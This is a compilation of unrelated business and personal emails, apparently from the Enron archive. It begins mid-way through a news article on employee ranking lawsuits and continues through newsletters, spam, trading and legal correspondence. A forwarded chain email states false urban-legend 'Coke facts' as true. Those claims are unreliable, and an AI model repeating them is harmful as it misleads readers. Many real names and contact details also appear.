those rankings largely using what are called "lifeboat
discussions," where they choose which employees they would want
with them if stuck in a lifeboat. Managers had no other clear
criteria, according to Christine Webber, a lawyer at Cohen,
Milstein, Hausfeld & Toll who is representing the employees.

 Grading is highly subjective at Microsoft, according to Peter M.
Browne, a former executive who is also suing the company, charging
discrimination. Mr. Browne, who is black, said managers were forced
to use a curve in evaluating even small groups. He said he had to
rate a group of five on a curve, for example, in deciding which
ones would not receive stock options.

 "You weren't told anything * just meet the curve," Mr. Browne
said.

 He says managers ended up favoring people with whom they
socialized. "People gravitate to people who are like them, and the
system just forces that," he said.

 Microsoft defends its system as fair and helpful. "We want to give
the highest compensation to the very top performers," said Deborah
Willingham, senior vice president for human resources, adding that
the system included checks and balances to ensure fair treatment.
Employees can appeal their ratings, for example, and are largely
responsible for developing the criteria by which they are
evaluated.

 Ms. Willingham also said the company did not ask its managers to
give a fixed percentage of their employees any given score. "We
don't force that curve to look any certain way," she said.

 Microsoft has no formal "stack rank" policy, she said. And when
managers do have lifeboat discussions, they are a tool to consider
which employees they would want to keep if they were starting
again.

 While the company would not comment on the lawsuits, Microsoft
"expressly prohibits discrimination," Ms. Willingham said.

 Similar criticisms emerged in a lawsuit brought last month against
Ford. It argues that the company's new grading system discriminates
against older workers. The company, which adopted what it calls its
performance management process a year ago, gives its 18,000
managers A, B or C grades. Last year, the company awarded 10
percent an A, 80 percent a B and 10 percent a C.

 Ford also faces a second lawsuit asserting that it unfairly
discriminated against older white males in its grading.It would not
comment on the litigation but defended its use of grades. "We
believe the system is fair and nondiscriminatory," a company
spokeswoman said. "We are in a very competitive industry, and we
need all of our employees to be the best they can be."

 At Conoco, employees contend that the company discriminated
against United States citizens and older workers when it laid off a
dozen geophysicists and other scientists in 1999 based on a ranking
from one to four, according to a lawsuit filed last year. The
majority of those let go were Americans, according to the suit, as
opposed to British, Norwegian and Canadian professionals.

 "The rating system was selectively enforced, and there were
instances of manipulation," said John Zavitsanos, the lawyer
representing the workers. Even though some were given higher
ratings on earlier rankings, they were eventually given the lowest
possible rating of four.

 Conoco, based in Houston, has extensive operations in the North
Sea, and many of the senior managers at the division in question
are British, according to Mr. Zavitsanos.

 While Conoco said it could not comment on the litigation, it said
its evaluations were based on several factors, including
performance, skills and expertise. The company said ratings often
changed as more information was collected and people were evaluated
in larger groups. Conoco company also denied that decisions were
based on anything other than individual capabilities.

 Companies "do need something in making pay decisions, downsizing
decisions," said Jim Kochanski, a consultant with Nextera
Enterprises. The problem is that companies may not take enough care
in deciding how people should be ranked. "They can get it very
wrong," he said.

http://www.nytimes.com/2001/03/19/business/19GRAD.html?ex=986016138&ei=1&en=e2
02a0228246c717

/-----------------------------------------------------------------\

Visit NYTimes.com for complete access to the
most authoritative news coverage on the Web,
updated throughout the day.

Become a member today! It's free!

http://www.nytimes.com?eta

\-----------------------------------------------------------------/

HOW TO ADVERTISE
---------------------------------
For information on advertising in e-mail newsletters
or other creative advertising opportunities with The
New York Times on the Web, please contact Alyson
Racer at alyson@nytimes.com or visit our online media
kit at http://www.nytimes.com/adinfo

For general information about NYTimes.com, write to
help@nytimes.com.

Copyright 2001 The New York Times Company


Some of these are cute!
---------------------- Forwarded by Andrea Ring/HOU/ECT on 02/13/2001 12:23
PM ---------------------------

	From:  Karen D McIlvoy                           02/09/2001 10:25 AM

To: Barry.Belcher@PSS.boeing.com
cc:  (bcc: Andrea Ring/HOU/ECT)
Subject: Quick clips to laugh at!!

Subject: Quick clips to laugh at!!

Thought you guys might get a kick out of these :>)

 - I146_1.GIF
 - I133_1.GIF
 - I131_1.GIF
 - I129_1.GIF
 - I126_1.GIF
 - I125_1.GIF
 - I120_1.GIF
 - ad2.jpg
 - ad.jpg
 - Jesus.jpg
 - I151_1.GIF


Start Date: 1/25/02; HourAhead hour: 3;  No ancillary schedules awarded.  No variances detected.

    LOG MESSAGES:

PARSING FILE -->> O:\Portland\WestDesk\California Scheduling\ISO Final Schedules\2002012503.txt


Dear brad,  Senate Energy Committee Chairman Jeff Bingaman (D-NM) says he is unsure whether an energy bill will reach the Senate floor this year.  Washington Bureau Chief Peter Cook says Senator Bingaman is also downplaying the chances that a new Republican energy proposal will alter the debate significantly.  The bureau will have the latest from the Hill on Friday.   Also from Washington on Friday, Executive Director of the International Energy Agency Robert Priddle will discuss the world's energy supply within the context of the campaign against terrorism.  Priddle is speaking at the Center for Strategic and International Studies tomorrow, and the Washington bureau will bring us all the details.     Energy Markets Washington Editor Jack Belcher will join us from the Washington bureau on Friday.  Belcher is stopping by during the  9:00 a.m. ET newscast to discuss the EPA's new boutique fuels proposal.   The Independent Petroleum Association of America will continue a three-day meeting in Houston on Friday.  Interior Secretary  Gale Norton and Energy Secretary Spencer Abraham are among those attending the meeting.  Houston Correspondent Kim Benestante will have details on the meeting from the Houston bureau on Friday.   Also from Houston, Spinnaker Exploration CEO and Founder  Roger Jarvis will discuss his company's third-quarter earnings results.  Join us during the 1:00 p.m. ET newscast for the Jarvis interview.  And catch Simmons & Company International Vice President of Research  Mark Meyer as he talks about how oil stocks are doing this quarter.  We'll bring you these interviews from Houston on Friday.       From the West Coast bureau on Friday, ENL's Kym McNicholas will bring us a report on the extra security measures being taken to protect the Hoover Dam.  The dam has 17 generators, each capable of supplying electricity to 100,000 households.  Catch the Hoover Dam report from the West Coast bureau tomorrow.   Keep in mind things are subject to change at a moment's notice. Occasionally guests cancel or change time slots.  We'll continue to do our best to keep you updated on future interviews and events.     Be sure to watch our newscasts every business day - 9 a.m. to 5 p.m. ET, at the top of each hour.

	 	Jay Rickerts, EnergyNewsLive.com Anchor  View today's Energy Wrap video   (Requires Windows Media Player or Real Player )   Experience all that Williams Energy News Live has to offer!   If you are receiving this letter for the first time and wish to continue, subscribe now    To stop receiving this letter, unsubscribe now    If you are having trouble receiving this e-mail, please let us know  or  call (800) WILLIAMS (800-945-5426) weekdays, 7am-7pm CST.    Comments? Suggestions? Let us  know  or  call (800) WILLIAMS (800-945-5426) weekdays, 7am-7pm CST.    Copyright 2001 Williams Energy News Live, LLC. All  Rights Reserved.


You are receiving this email because you asked to be sent special offers through one of the partners of eValueMarketing. eValueMarketing only brings you the best offers on the web. However, if you wish to unsubscribe, please follow the instructions at the bottom of the email.   Valentines Day    [IMAGE]   ROSES  Order today. ORDER NOW    Beary Special  Order today. ORDER NOW   Couple  Simplicity  Whitmans    Order today. ORDER NOW   Order today  ORDER NOW     Don't forget to check out our fresh flower bouquets for Birthdays and Anniversaries.  Send flowers across town or across the country with FlowersDirect.com .  We have flowers and gifts for all your gift giving needs.  Order today.    Order online or call 1-800-335-6937.  We look forward to hearing from you.

 If you don't want to get these letters anymore send a blank email

logo


Steve-

Today we rolled the maturing equity trade with Bear Stearns.

Here are the details:
Shares:  323,000
New Fwd price: 80.25
Maturity Date: Aug 24, 2001
Settlement: Aug 29, 2001

Jeff Nogid
Manager
Enron Global Finance
713-853-4782


whats the skinny on tonight?

To:	Eric Bass/HOU/ECT@ECT, O'Neal D Winfree/HOU/ECT@ECT, David Baumbach/HOU/ECT@ECT, Denver Plachy/NA/Enron@Enron, Michael Walters/HOU/ECT@ECT, reagan_mathews@enron.net
cc:
Subject:	Game tonight

Tonight's game is at 6.  Who's in/out?


Great.  DF

From:	Gina Taylor/ENRON@enronXgate on 03/28/2001 03:21 PM
To:	Drew Fossum/ET&S/Enron@ENRON, Steven Harris/ET&S/Enron@ENRON, Mary Ellen Miller/ENRON@enronxgate, Shelley Corman/ENRON@enronXgate, Susan Scott/ENRON@enronXgate, Stanley Horton/Corp/Enron@Enron, Rex Rogers/ENRON@enronXgate, Scott Vonderheide/Corp/Enron@ENRON, Karen Denne/Corp/Enron@ENRON, Sherri Sera/Corp/Enron@ENRON, Rosalee Fleming/Corp/Enron@ENRON, Danny McCarty/ET&S/Enron@Enron
cc:	Keith Petersen/ENRON@enronXgate

Subject:	Transwestern Press Release

Attached is the TW expansion filing press release.  With the filing being made on Thursday, March 29, we'll plan to issue the release to natural gas industry publications after the market closes on Thursday, March 29.

Please review the press release one last time.  This draft includes changes I previously received from Rex, Drew, Steve Harris, Mary Kay Miller, Stan and Shelley Corman.

Please let me know if you have additional changes by noon on Thursday, March 29.

Also attached is a filing fact sheet that will be used as reference for media calls.  Please let me know of changes to the fact sheet by Thursday, March 29, at noon as well.

Thanks for your immediate attention.

Gina


---------------------- Forwarded by Phillip M Love/HOU/ECT on 11/01/2000
08:28 AM ---------------------------

Shane.Dobbs@fctg.com on 11/01/2000 07:51:57 AM
To: wwilson@eng.auburn.edu, Tharpbl@eng.auburn.edu, dobbsmw@auburn.edu,
chancewood@earthlink.net, domino@sonet.net, jmjaked@mindspring.com,
jwood@regionsbank.com, poe77@earthlink.net, gwave85@hotmail.com,
dobbswn@auburn.edu, phillip.m.love@enron.com, hamptone@booksamillion.com,
stephaniepool@huntersystems.com
cc:
Subject: FW: Coke facts

?
-----Original Message-----
From: Rob Stanbridge  [mailto:rob@timberworld.com]
Sent: Wednesday, November 01, 2000 7:49  AM
To: Dobbs_Shane
Cc: Hafley_Robert
Subject: FW:  Coke facts

?
?

Just when you thought you knew everything (no, it's not an anti cola add
;-)...

1.In many states the highway patrol carries two gallons of Coke in the truck
to remove blood from the highway after a car accident.
2.You can put a  T-bone steak in a bowl of coke and it will be gone in two
days.
3.To clean a  toilet: Pour a can of Coca-Cola into the toilet bowl....... Let
the "real thing"  sit for one hour, then flush clean.
4.The citric acid in Coke removes stains  from vitreous china.
5.To remove rust spots from chrome car bumpers: Rub the  bumper with a
crumpled-up piece of Reynolds Wrap aluminum foil dipped in  Coca-Cola.
6.To clean corrosion from car battery terminals: Pour a can of  Coca-Cola
over the terminals to bubble away the corrosion.
7.To loosen a  rusted bolt: Applying a cloth soaked in Coca-Cola to the
rusted bolt for several  minutes.
8.To bake a moist ham: Empty a can of Coca-Cola into the baking  pan;rap the
ham in aluminum foil, and bake. Thirty minutes before the ham is  finished,
remove the foil, allowing the drippings to mix with the Coke for a  sumptuous
brown gravy.
9.To remove grease from clothes: Empty a can of coke  into a load of greasy
clothes, add detergent, And run through a regular cycle.  The Coca-Cola will
help loosen grease stains. It will also clean road haze  fromyour
windshield.

FYI: 1.The active ingredient in Coke is phosphoric acid. It's pH is 2.8. It
will dissolve a nail in about 4 days.
2.To carry Coca Cola syrup (the  concentrate) the commercial truck must use
the Hazardous material place cards  reserved for Highly Corrosive materials.
3.The distributors of coke have  been using it to clean the engines of their
trucks for about 20 years! Drink up!  No joke. Think what coke and other soft
drinks do to your teeth on a daily  basis. A tooth will dissolve in a cup of
coke in 24-48 hours.


The problems with the Online RSVP Form should now be solved.  We are sorry
for any inconvenience that you may have experienced.  Please give it another
try at http://lawconference.corp.enron.com!  Once you have submitted your
RSVP Form, you should receive a confirmation e-mail.  Please review your
confirmation information and let me know if there are any changes.  If you
get an error message and do not receive a confirmation e-mail, please e-mail
me or call me at (713) 853-9129.

Hint:
? Use Internet Explorer as your browser.
? The SAP Company Code should have 4 digits (i.e. 0011).
? The SAP Cost Center should have 6 digits (i.e.100180).

Remember, responses must be submitted no later than Friday, March 30, 2001.
For anyone requesting CLE credit for a state other than Texas, please submit
your RSVP Form by March 23, 2001.  See you in San Antonio!


Things to Do:
* Grocery Shopping
* Return Video
* Pick up Dry Cleaning
* ORDER CREDIT REPORT

Too Much to Remember?
Let the CreditCheck Monitoring Service Work for You!

-----------------------------------------------------------
Get a FREE COPY OF YOUR EQUIFAX CREDIT REPORT
when you sign up for a FREE TRIAL NOW!

SIGN UP NOW!
http://www.play4keeps.com/rd.cgi?consumerinfo
------------------------------------------------------------

Protecting your credit is a breeze with
the CreditCheck Monitoring Service!

CreditCheck alerts you to key changes to your credit report.
Ant it doesn't stop there! You'll also receive:

* Unlimited FREE credit reports with your paid membership.

* Powerful credit tools, dispute tips & expert advice.

* The peace of mind that comes with never having to worry
  about your credit again.

Try the CreditCheck Monitoring Service RISK-FREE:
Sign up for your FREE trial today and get a
FREE copy of your Equifax credit report!
http://www.play4keeps.com/rd.cgi?consumerinfo

Over 1 million consumers have trusted ConsumerInfo.com to
make their lives easier.  You, too, can rest east while we
take the hassle out of managing your credit!

SIGN UP FOR YOUR FREE TRIAL NOW!
http://www.play4keeps.com/rd.cgi?consumerinfo

<<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>>
* To remove yourself from this mailing list, point your browser to:
http://i.pm0.net/remove?freebiecash:14
* Enter your email address (pmims@enron.com) in the field
provided and click "Unsubscribe". The mailing list ID is "freebiecash:14".

OR...

* Reply to this message with the word "remove" in the subject line.

This message was sent to address pmims@enron.com
X-PMG-Recipient: pmims@enron.com
<<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>> <<<>>>

pmguid:39.1h9h.8gs51


---------------------- Forwarded by John Hodge/Corp/Enron on 05/10/2001 01:20
PM ---------------------------

John Hodge
04/06/2001 03:22 PM
To: Chris Germany/HOU/ECT@ECT, Scott Goodell/Corp/Enron@ENRON, Ruth
Concannon/HOU/ECT@ECT
cc:

Subject: Spreadsheets for TCO Parking and Lending


Samantha M. Boyd
Sr. Legal Specialist
Enron North America, Corp.
1400 Smith, EB3802A
Houston, TX  77002
Phone:  (713) 853-9188
Fax:  (713) 646-3490
email:  samantha.boyd@enron.com

----- Forwarded by Samantha Boyd/NA/Enron on 07/25/2000 12:16 PM -----

	Diane Anderson
	07/25/2000 11:35 AM

		 To: Samantha Boyd/NA/Enron@Enron
		 cc:
		 Subject: Hannover Re

Hi there.  I don't believe we've spoken before, but I'm new to Enron and
will be managing the Emerging Products documentation, including Weather.
I just spoke with Brent Hendry, and he directed me to you for help on the
following:

The weather desk has done two new deals with the counterparty Hanover Re, with
whom we have not done business before.  Below is the email received from
credit
stating no additional credit terms.  I guess at this point I need to have you
put together
a Deemed ISDA for this counterparty.   Please let me know exactly what you
need from
me (if anything), and I'll get it to you right away.

Thanks,
Diane Anderson

P.S. - Both deals are between ENA and Hanover Re, not Enron Re as Tanya wrote
---------------------- Forwarded by Diane Anderson/NA/Enron on 07/25/2000
11:27 AM ---------------------------

Scott Tackett
07/25/2000 11:00 AM
To: Diane Anderson/NA/Enron@Enron
cc:

Subject: Hannover Re

---------------------- Forwarded by Scott Tackett/Corp/Enron on 07/25/2000
10:58 AM ---------------------------
From: Tanya Rohauer@ECT on 07/19/2000 10:38 AM
To: Mark Tawney/HOU/ECT@ECT, Michael Nguyen/HOU/ECT@ECT, Lou
Stoler/HOU/ECT@ECT, Scott Tackett/Corp/Enron@Enron
cc:

Subject: Hannover Re

This trade is ok to confirm without additional credit terms - we just need to
be sure we are using the correct name (which should be Hannover
Ruckversicherungs).  Please let me know if you have any questions.  I would
be interested in understanding why we are conducting the trade out of Enron
Re instead of ENA.  I assume we are still documenting using  a deemed ISDA?
Thanks!
---------------------- Forwarded by Tanya Rohauer/HOU/ECT on 07/19/2000 10:32
AM ---------------------------

Mark Tawney
07/18/2000 05:25 PM
To: Tanya Rohauer/HOU/ECT@ECT
cc:
Subject: Hannover Re

http://www.hoovers.com/co/capsule/8/0,2163,54588,00.html

http://www.hoovershbn.hoovers.com/bin/story?StoryId=CoqKmWbWbtLLtudaWmW&FQ=%22
Hannover%20Re%22&Title=Headlines%20for%3A%20%22Hannover%20Re%22%0A


Start Date: 1/18/02; HourAhead hour: 13;  HourAhead schedule download failed. Manual intervention required.


Mary Kay, Lindy told me you had spoken with her about the issue that was
raised on Friday with regard to allocation of FTS-1 and FTS-3 capacity.  I
believe that a slight modification to page 80B may be needed to reflect the
fact that FTS-3 will not be allocated along with FTS-1; I'll draft the
modification and circulate it.  Question:  would you prefer to circulate a
new pro forma Sheet No. 80B sometime in the next couple of weeks, or wait
until we make our compliance filing (whenever FERC issues its order)?


Hi Steven,

 Attached is the first of four documents that we have prepared for
the focus groups.  All of the exercises are works in progress and I am
sending them to you for comments. (Hopefully, we are on the right track.)
As we discussed, I am happy to fly down to Houston tomorrow so that we can
review these materials together.  If, however, you feel that we can edit the
exercises via email that's fine too. Just let me know which arrangement
makes you the most sense to you. Hope all is well.

Regards,

Liz

 <<anti regulation speech.doc>> An anti-dereg speech is in the works.

 - anti regulation speech.doc


Gary:
I am on maternity leave.  Please see Mark Taylor about this.

Carol St. Clair
EB 3892
713-853-3989 (Phone)
713-646-3393 (Fax)
carol.st.clair@enron.com

	Gary Taylor
	07/13/00 06:40 PM

		 To: Carol St Clair/HOU/ECT@ECT
		 cc: tawneym@email.msn.com, mark.tawney@enron.com
		 Subject: buying a web site

Carol,

The owner of the following website:   www.weatherrisk.com   has offered to
sell the site to us.  We currently own www.weather-risk.com and would like to
get rid of the "-" if we could.  We have tentatively negotiated a price of
$15,000 for this site.  I would like to sit down with you to discuss our next
steps, concerns, issues, etc... at your earliest convenience.

Please call me to discuss this or to schedule time.

Thanks and regards,
Gary Taylor
x31511


-----Original Message-----
From: 	Stephen Martin <SMartin@ridoutmaybee.com>@ENRON [mailto:IMCEANOTES-Stephen+20Martin+20+3CSMartin+40ridoutmaybee+2Ecom+3E+40ENRON@ENRON.com]
Sent:	Thursday, August 30, 2001 12:00 PM
To:	Makkai, Peter
Subject:	FW: "Names for Prisoner"

-----Original Message-----
From: Ken Hanna
Sent: Tuesday, May 29, 2001 11:29 AM
To: Stephen Martin
Subject: FW: "Names for Prisoner"
-----Original Message-----
From: Ken Hanna [mailto:khanna67@hotmail.com ]
Sent: May 29, 2001 10:28 AM
To: khanna@ridoutmaybee.com
Subject: Fwd: "Names for Prisoner"
>From: "stefan guttensohn" <guttee@hotmail.com>
>To: m_kadlec@hotmail.com, djeon@yorku.ca, gzoppi@yahoo.com,
>jconway@toronto.langmichener.ca, Jesmond.Parke@fmc-law.com,
>j_evans_mtl@hotmail.com, khanna67@hotmail.com, three_pistols@hotmail.com
>CC: hreinbergs@osc.gov.on.ca
>Subject: "Names for Prisoner"
>Date: Tue, 29 May 2001 01:51:41
>
>Gentlemen,
>
>I have finally found a forward that we can truly appreciate.  When I saw
>this, it just screamed Scotty (and Kenny too).
>
>Guaranteed fun for hours - at least for Scotty.
>
>By the way, there is no rhyme or reason to the generator.
>
>This is good.
>
>Have fun boys.
>
>Steve
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com .

 - Prison Bitch Name Generator.htm


Greg, when did you send this? I just got it today. Ben

-----Original Message-----
From: Greg.Whalley@enron.com [SMTP:Greg.Whalley@enron.com]
Sent: None
To: Benjamin Bergfelt
Subject: RE: power companies

heard a rumor that EIX may file for bankruptcy on wednesday.

----Original Message-----
   >From:      "Benjamin Bergfelt" <ben.bergfelt@painewebber.com>
   >To:             "'gregwhalley@yahoo.com'"
<gregwhalley@yahoo.com>,"'greg.whalley@Enron.com'" <greg.whalley@enron.com>
   >Cc:
   >Bcc:
   >Subj:      power companies
   >Sent:      Monday, December 11, 2000 5:47 PM
   >
   >Greg, Fitch is reducing credit ratings on the CA utilities, EIX and
PCG, Moody's is considering it. The news wire said PG&E(PCG) is going to be
at 6 Billion by the end of December in the whole. More should be available
in the AM. Ben


fyi
---------------------- Forwarded by Mary Solmonson/HOU/ECT on 11/08/2000
03:13 PM ---------------------------
   Kim S Theriot                11/08/2000 02:27 PM

To: Mary Solmonson/HOU/ECT@ECT
cc:
Subject: Sempra

First of all....I hope you are feeling well...with all of the emails going
back and forth I haven't taken the time to say so...

I just spoke with Lou Santorie with Sempra.  He said that they are very
interested in Confirm Corp and would be looking for a company to partner
with.  He said that basically "if Enron would decide to use this application"
that the industry would have to get on board...basically sounds like he feels
that we would set the stage for what is used in the industry as far a
clearing applications.

We had a brainstorming meeting with the Commodity Logic team at
lunch....their concepts are good for Phase I but we would get the biggest
bang from their later Phase concept where they intend to do the automatching
of deal info. between us and the Counterparty......

Kim


Louise,

I know you are very busy, but I'd to discuss with you, in person, how you think it's going with GTV II and a few other things.

I'll keep it short, say 10-15 minutes, some this week or early next week, (I'm out Friday).  I'm generally in by 7:30am and out by 7pm if that helps with your schedule?

regards

Steve


Steve,

Since our phone call, I spoke to Mark Taylor, who advised me that the local
counsel is planning to come back to us next week with a detailed opinion
regarding the taxation issues for trading in Brazil and Argentina.

Under these circumstances, it seems wise to postpone our planned conference
call until after outside counsel has responded.

However, I remain concerned about this issue. As discussed, if we are unable
to formulate a plan which we believe has a good chance of succeeding, and if
the tax regime is so penal as to make trading on EnronOnline prohibitively
expensive, then we need to seriously reevaluate the timetable for EnronOnline
and postpone preparation efforts until such time as either the tax regime
changes or we identify a way around the tax restrictions.

I will contact you later next week after we hear from outside counsel.
Hopefully their response will put my concerns to rest.

Dave


I,m very excited to have joined a new company (Enerwise Global Technologies)
and wanted to pass along some information about it.  I start next week and
will be in Philadelphia for most of the week getting "oriented."  I will have
an office in Redwood City where I will be Director of Business Development
for the West Coast.  However, I don,t have a new email or business phone
number just yet.  I will send you all that when I have it.

I,ve enjoyed working with you in the past and look forward to continued op
portunities to do so.

In the meantime, I can still be reached at:

Jbyron@aol.com
Home: (650) 961-3115
Personal cell: (415) 999-0825

Regards,
Jeff Byron

For Immediate Release

Contact:    Rebecca Filbey
Stanton Communications
202.223.4933
rfilbey@stantoncomm.com

ENERWISE GLOBAL TECHNOLOGIES
FORMED TO PROVIDE ENERGY INTELLIGENCE SOLUTIONS FOR CORPORATIONS

-- Company Provides Information on Consistency, Quality and Use of Energy --

(Kennett Square, PA) May 1, 2001 ) Enerwise Global Technologies, a major
provider of enterprise-wide energy intelligence and managed energy services
for domestic and international corporations, today announced the completion
of its spin-off from Conectiv, Inc.  Enerwise Global Technologies was formed
with the assets of Conectiv Inc., in conjunction with funding by EnerTech
Capital Partners II L.P. and other leading energy industry venture capital
firms, including CapiTech, Inc., a subsidiary of Hydro-Quebec.

Enerwise Global Technologies addresses the energy intelligence needs of
medium to large enterprises in a broad range of commercial and industrial
(C&I) segments for which managing the consumption, reliability, and cost of
energy is mission critical.  By capturing, integrating, analyzing and
monitoring vital energy and operational data for its customer, Enerwise
Global Technologies is able to recommend and implement solutions to improve
facility operations, increase reliability and reduce costs.

"The need for meaningful energy information will continue to rise as energy
supplies remain tight and energy prices prove volatile, and as many
businesses become increasingly aware that the quality and reliability of the
energy they receive can have significant impact on their operations " said
Dom Geraghty, Senior Vice President of Enerwise Global Technologies.  "Our
vision is to transform the way businesses understand and make decisions about
their energy consumption, thereby enabling them to manage their
energy-related costs while maintaining their up-time objectives."

Three key elements work in harmony to enable and distinguish Enerwise Global
Technologies from its competitors:

~ Expedient operational tactics combining the efficiency of the centralized,
24x7x365, remote-monitoring Information Command Centers (ICCs), with
convenient and secure customer access to up-to-the-minute intelligence via
the Web.
~ Reliable, robust technologies that can be seamlessly integrated into
existing enterprise systems and have been fully proven; in fact, they are
already in place in hundreds of major corporations.
~ Experienced energy management professionals who truly understand the energy
challenges that customers face, and who can offer real-world solutions to
help them meet those challenges.

- MORE -

"No other resource offers enterprises a more comprehensive energy
intelligence and management solutions set," said Scott Ungerer, Managing
Director of EnerTech Capital Partners.  "Enerwise Global Technologies is
immediately in a market-leading position as the only organization whose
solutions have been successfully implemented and are working for hundreds of
demanding- and satisfied- customers."

From its headquarters in Kennett Square, PA,  Enerwise Global Technologies
provides energy intelligence and managed energy services for domestic and
international C&I customers, including companies that are leaders of their
industry segments.  Formed with assets contributed by Conectiv Inc., Enerwise
Global Technologies has been in business since 1998.  Enerwise Global
Technologies formally launched in 2001 with venture capital funding provided
by EnerTech Capital Partners and CapiTech, Inc., a subsidiary of
Hydro-Quebec.


Ladies and Gentlemen,

I would like to remind you that only postID of calcs that have TDS Flag (in
Port Calc screen) set to "1" are included in TDS position load.  We have
noticed that ST-Bammel, ST-Bridgeline, GD-Texas,... and many more desks do
not have the TDS Flag set to "1".

Please call me (x30413) or Bill Kasemervisz (x57579) if you have any
questions.

Kenny H.


Please print and file tx rick
---------------------- Forwarded by Rick Buy/HOU/ECT on 01/30/2001 09:45 AM
---------------------------

	From:  Sheila Walton                           01/30/2001 09:05 AM

To: Rick Buy/HOU/ECT@ECT
cc:
Subject: RE: Investigation Research

For your peace of mind.

sheila
---------------------- Forwarded by Sheila Walton/HOU/ECT on 01/30/2001 09:03
AM ---------------------------
From: Robert Howes/ENRON@enronXgate on 01/30/2001 08:27 AM
To: Sheila Walton/HOU/ECT@ECT
cc: Roberto Deleon/ENRON@enronXgate, Matthew Ahern/ENRON@enronXgate
Subject: RE: Investigation Research

We will save this for our records.
Thanks,
Robert Howes
Sr. Security Specialist
IT Security and Controls
Work 713-345-3423
Fax     713-646-3010
Email             mailto:Robert.Howes@Enron.com
2Way Pager mailto:roberthowes@pagenetips.com

 -----Original Message-----
From:  Walton, Sheila
Sent: Tuesday, January 30, 2001 12:31 AM
To: Howes, Robert; Ahern, Matthew
Cc: Deleon, Roberto; Buy, Rick
Subject: Investigation Research
Importance: High
Sensitivity: Confidential

Rick Buy, the Business Unit Head for the RAC group, and I logged onto his
computer on Friday, January 26, 2001 to review information for an
investigation on one of his employees.  We logged on at 3:01 PM and logged
off at 3:15 PM.  Please make certain that the records reflect this
investigative effort so Mr. Buy's name does not come up in a random search
for accessing inappropriate websites.  If you have any questions, please call
me at Ext 30649. Thank you.

Sheila Walton
HR Director


Richard:

Thanks.  Your chart indicates that Callahan (I don't know who this is) is
working on the director/officer changes.  Just keep me up to date.  Thanks.

Sara Shackleton
Enron North America Corp.
1400 Smith Street, EB 3801a
Houston, Texas  77002
713-853-5620 (phone)
713-646-3490 (fax)
sara.shackleton@enron.com

	Richard Sage
	03/09/2001 05:56 AM

		 To: Sue Kelly/LON/ECT@ECT
		 cc: Sara Shackleton/HOU/ECT@ECT
		 Subject: Enron Credit Inc. officers

Sara,
New personnel to be:
Directors - Frevert/Derrick/Haedicke.  Officers - same, plus Jeff Kinneman.
Sue,
I know that Bryan and I have resigned.
Have we appointed Jeff?

Thanks,
Richard
---------------------- Forwarded by Richard Sage/LON/ECT on 09/03/2001 11:15
---------------------------
From: Sara Shackleton on 08/03/2001 18:01 CST
To: Richard Sage/LON/ECT@ECT
cc: Cheryl Nelson/NA/Enron@Enron

Subject: Enron Credit Inc.

Richard:

Does Enron Credit Inc. have U.S. resident officers/directors?  Cheryl Nelson
is trying to set up three U.S. brokerage accounts and needs signatories.
Please let Cheryl know.  Thanks.

Sara Shackleton
Enron North America Corp.
1400 Smith Street, EB 3801a
Houston, Texas  77002
713-853-5620 (phone)
713-646-3490 (fax)
sara.shackleton@enron.com


Thanks!  This is a really great explanation.  I appreciate it.

Amy and Kimberly, just FYI.  This was on the no reprot this morning.

   Kate Symes                04/20/2001 10:15 AM

To: Sharen Cason/HOU/ECT@ECT
cc:
Subject: Re: 586775

I just spoke with Heather Dunton in Risk, and she said they've had problems
valuing index forward deals that settle at the last 5-day NYMEX average. So
to remedy the situation, they're taking a fifth of the volume out of the deal
each day, beginning five days prior to the expiry date. In this case, the
expiry date is 4/25/01, so they began with taking 5 MW out of deal 585480 and
putting it into a fixed price forward deal - 586775. Each day Heather will
take another fifth of the volume in 585480 and put it into 586775, and she'll
average the fixed prices each day to eventually end up with the last 5-day
average. That's the long and short of why this new forward deal - 586775 -
doesn't need to be confirmed. Our position with Deseret stays the same - it's
just split between two deals temporarily.

Please call Heather or me with any questions. She's going to add another
comment in both deals to indicate the changes she'll be making, so it should
be apparent to everyone that 586775 does not need to be confirmed at any
point. When we get to the expiry date, Heather will kill that fixed forward
deal, since the index price will pull into the system and 585480 will value
properly.

Sorry for the winded explanation, but I thought it was better to give you
more than less!

Thanks,
Kate

	From:  Sharen Cason                           04/20/2001 06:31 AM

To: Kate Symes/PDX/ECT@ECT
cc:

Subject: 586775

Can you check and see why we are not confirming this deal with Deseret?  It
is on the not to be confirmed list.

Thanks!


The NYPSC today issued an Order directing the expedited consideration of
"bottoms-up" rate unbundling by all of the state's major electric and gas
utilities. Enron has long pushed the PSC to address this issue. The PSC wants
unbundled rates in effect by the first half of 2002, and has set up a
two-stage process to get there. Under the first stage, which the PSC wants
completed and brought to them for decision by this August, major policy
issues of statewide import  are to be considered. Resolution of these issues
will guide the actual embedded cost studies which each of the utilities are
directed to perform. These cost studies and the fully unbundled rates that
will flow from them, will then be reviewed in utility-specific cases. The PSC
expects the studies to be completed before the end of this year.  I
anticipate that we will actively participate in this proceeding, which is
actually being spun off from the "end-state" proceeding, through our NESPA
coalition. A copy of the PSC's order should be available on their website:
www.dps.state.ny.us


Today's Staff & Budget Meeting has been cancelled.  Please make a note on
your calendars.


All;

Attached you will find the results recommendations of the Sub-committee
formed to look at  VP external hiring and VP internal promotions.  As you
will recall, the committee  comprised Jeff Shankman, Joe Gold, Tim Belden,
Jim Fallon, Janet Dietrich, Danny McCarty.   Please review this and provide
any comments to me or David Oxley.  Many thanks in advance.


Well Fplks it's been less than two days since Welch street  has been
repaved, and guess what?
The jack hammers are out there on the corner of Welch and Morgan.
A water connection for the new town homes.
Bob

________________________________________________________________
GET INTERNET ACCESS FROM JUNO!
Juno offers FREE or PREMIUM Internet access for less!
Join Juno today!  For your FREE software, visit:
http://dl.www.juno.com/get/web/.

------------------------ Yahoo! Groups Sponsor ---------------------~-->
Get your FREE credit report with a FREE CreditCheck
Monitoring Service trial
http://us.click.yahoo.com/Gi0tnD/bQ8CAA/ySSFAA/NoOolB/TM
---------------------------------------------------------------------~->

To unsubscribe from this group, send an email to:
emca-unsubscribe@egroups.com

Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/


nope, i figure if i dont ask i might not have to go

 -----Original Message-----
From: 	Nelson, Michelle
Sent:	Tuesday, November 27, 2001 10:47 AM
To:	Maggi, Mike
Subject:

did you find out what time your dinner was?


